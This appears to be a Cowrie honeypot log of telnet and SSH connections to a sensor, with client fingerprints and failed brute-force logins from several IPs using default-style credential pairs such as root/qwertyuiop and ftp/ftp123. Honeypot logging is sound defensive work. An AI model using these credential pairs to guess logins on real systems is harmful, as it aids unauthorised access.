{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45440,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a39b329e04a","protocol":"telnet","message":"New connection: 62.210.97.77:45440 (10.17.0.5:23) [session: 5a39b329e04a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:37.255359Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":35446,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5e30e046f70","protocol":"telnet","message":"New connection: 134.209.8.29:35446 (159.203.135.109:23) [session: b5e30e046f70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:37.775615Z"}
{"eventid":"cowrie.session.closed","duration":35.1690411567688,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:39.414657Z","src_ip":"62.210.97.77","session":"658b5af6939f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":54578,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea329ecd5f1a","protocol":"ssh","message":"New connection: 176.65.132.254:54578 (10.17.0.5:22) [session: ea329ecd5f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:39.436591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:39.440646Z","src_ip":"176.65.132.254","session":"ea329ecd5f1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:39.523022Z","src_ip":"176.65.132.254","session":"ea329ecd5f1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"super","password":"super","message":"login attempt [super/super] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:39.767931Z","src_ip":"176.65.132.254","session":"ea329ecd5f1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:40.859195Z","src_ip":"176.65.132.254","session":"ea329ecd5f1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.204206466674805,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:42.413527Z","src_ip":"62.210.97.77","session":"a24cd8c01662","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.39976739883423,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:42.534909Z","src_ip":"62.210.97.77","session":"bf04667b679a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.608031272888184,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:43.099656Z","src_ip":"62.210.97.77","session":"0e91fa305cda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":49974,"dst_ip":"10.17.0.5","dst_port":22,"session":"de3c90fc0ddb","protocol":"ssh","message":"New connection: 176.65.132.254:49974 (10.17.0.5:22) [session: de3c90fc0ddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:43.248186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:43.257013Z","src_ip":"176.65.132.254","session":"de3c90fc0ddb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:43.340439Z","src_ip":"176.65.132.254","session":"de3c90fc0ddb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp123","message":"login attempt [ftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:43.585575Z","src_ip":"176.65.132.254","session":"de3c90fc0ddb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00108122825623,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:43.649544Z","src_ip":"134.209.8.29","session":"986fc084df0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45346,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1dacdc16196","protocol":"telnet","message":"New connection: 62.210.97.77:45346 (10.17.0.5:23) [session: d1dacdc16196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:43.828809Z"}
{"eventid":"cowrie.session.closed","duration":34.67836546897888,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:44.020984Z","src_ip":"62.210.97.77","session":"12fe17cd5fde","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45362,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f17a135d33c","protocol":"telnet","message":"New connection: 62.210.97.77:45362 (10.17.0.5:23) [session: 8f17a135d33c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:44.065979Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:44.744665Z","src_ip":"176.65.132.254","session":"de3c90fc0ddb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45370,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5d1b9ab575b","protocol":"telnet","message":"New connection: 62.210.97.77:45370 (10.17.0.5:23) [session: c5d1b9ab575b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:44.813823Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45384,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c60e8e8729c","protocol":"telnet","message":"New connection: 62.210.97.77:45384 (10.17.0.5:23) [session: 5c60e8e8729c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:44.850291Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":36838,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3dd6d8f3595","protocol":"telnet","message":"New connection: 65.60.27.33:36838 (10.17.0.5:23) [session: a3dd6d8f3595]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:45.733698Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":49988,"dst_ip":"10.17.0.5","dst_port":22,"session":"9089a98f7518","protocol":"ssh","message":"New connection: 176.65.132.254:49988 (10.17.0.5:22) [session: 9089a98f7518]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:47.268348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:47.273357Z","src_ip":"176.65.132.254","session":"9089a98f7518","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:47.351573Z","src_ip":"176.65.132.254","session":"9089a98f7518","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bigdata","password":"bigdata","message":"login attempt [bigdata/bigdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:47.680657Z","src_ip":"176.65.132.254","session":"9089a98f7518","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.31659817695618,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:47.687350Z","src_ip":"62.210.97.77","session":"dab6b99bcbe2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45392,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa63e688ac04","protocol":"telnet","message":"New connection: 62.210.97.77:45392 (10.17.0.5:23) [session: aa63e688ac04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:47.776899Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45406,"dst_ip":"10.17.0.5","dst_port":23,"session":"26803aceab25","protocol":"telnet","message":"New connection: 62.210.97.77:45406 (10.17.0.5:23) [session: 26803aceab25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:48.152483Z"}
{"eventid":"cowrie.session.closed","duration":32.46130633354187,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:48.395242Z","src_ip":"62.210.97.77","session":"ea10360f3aa0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:48.765601Z","src_ip":"176.65.132.254","session":"9089a98f7518","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.805461406707764,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:50.399647Z","src_ip":"62.210.97.77","session":"3a34579ecf9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":49990,"dst_ip":"10.17.0.5","dst_port":22,"session":"92a58c652864","protocol":"ssh","message":"New connection: 176.65.132.254:49990 (10.17.0.5:22) [session: 92a58c652864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:51.174954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:51.179160Z","src_ip":"176.65.132.254","session":"92a58c652864","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:51.260358Z","src_ip":"176.65.132.254","session":"92a58c652864","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.636107206344604,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:51.455236Z","src_ip":"62.210.97.77","session":"30792d910a4b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop","message":"login attempt [root/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:51.504293Z","src_ip":"176.65.132.254","session":"92a58c652864","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.778228521347046,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:52.091309Z","src_ip":"65.60.27.33","session":"0b12bc523163","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:52.587934Z","src_ip":"176.65.132.254","session":"92a58c652864","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.45545768737793,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:53.418455Z","src_ip":"62.210.97.77","session":"7137b14c4475","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.057294607162476,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:53.744319Z","src_ip":"62.210.97.77","session":"3cb0f20fc929","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.818466663360596,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:54.402435Z","src_ip":"62.210.97.77","session":"7448742de22e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":51780,"dst_ip":"10.17.0.5","dst_port":22,"session":"196fb6615eb5","protocol":"ssh","message":"New connection: 176.65.132.254:51780 (10.17.0.5:22) [session: 196fb6615eb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:55.270125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:55.274652Z","src_ip":"176.65.132.254","session":"196fb6615eb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:55.357984Z","src_ip":"176.65.132.254","session":"196fb6615eb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dani","password":"dani","message":"login attempt [dani/dani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:55.639761Z","src_ip":"176.65.132.254","session":"196fb6615eb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":48604,"dst_ip":"159.203.135.109","dst_port":22,"session":"f73649a86ab0","protocol":"ssh","message":"New connection: 94.156.152.18:48604 (159.203.135.109:22) [session: f73649a86ab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:56.397884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:56.401658Z","src_ip":"94.156.152.18","session":"f73649a86ab0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:56.534392Z","src_ip":"94.156.152.18","session":"f73649a86ab0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48890,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccf23fd16c5c","protocol":"telnet","message":"New connection: 62.210.97.77:48890 (10.17.0.5:23) [session: ccf23fd16c5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:56.626934Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:56.750355Z","src_ip":"176.65.132.254","session":"196fb6615eb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.53122091293335,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:56.776454Z","src_ip":"62.210.97.77","session":"defb7c8e7db3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":41338,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f2c9602f0f1","protocol":"telnet","message":"New connection: 134.209.8.29:41338 (159.203.135.109:23) [session: 9f2c9602f0f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:56.781253Z"}
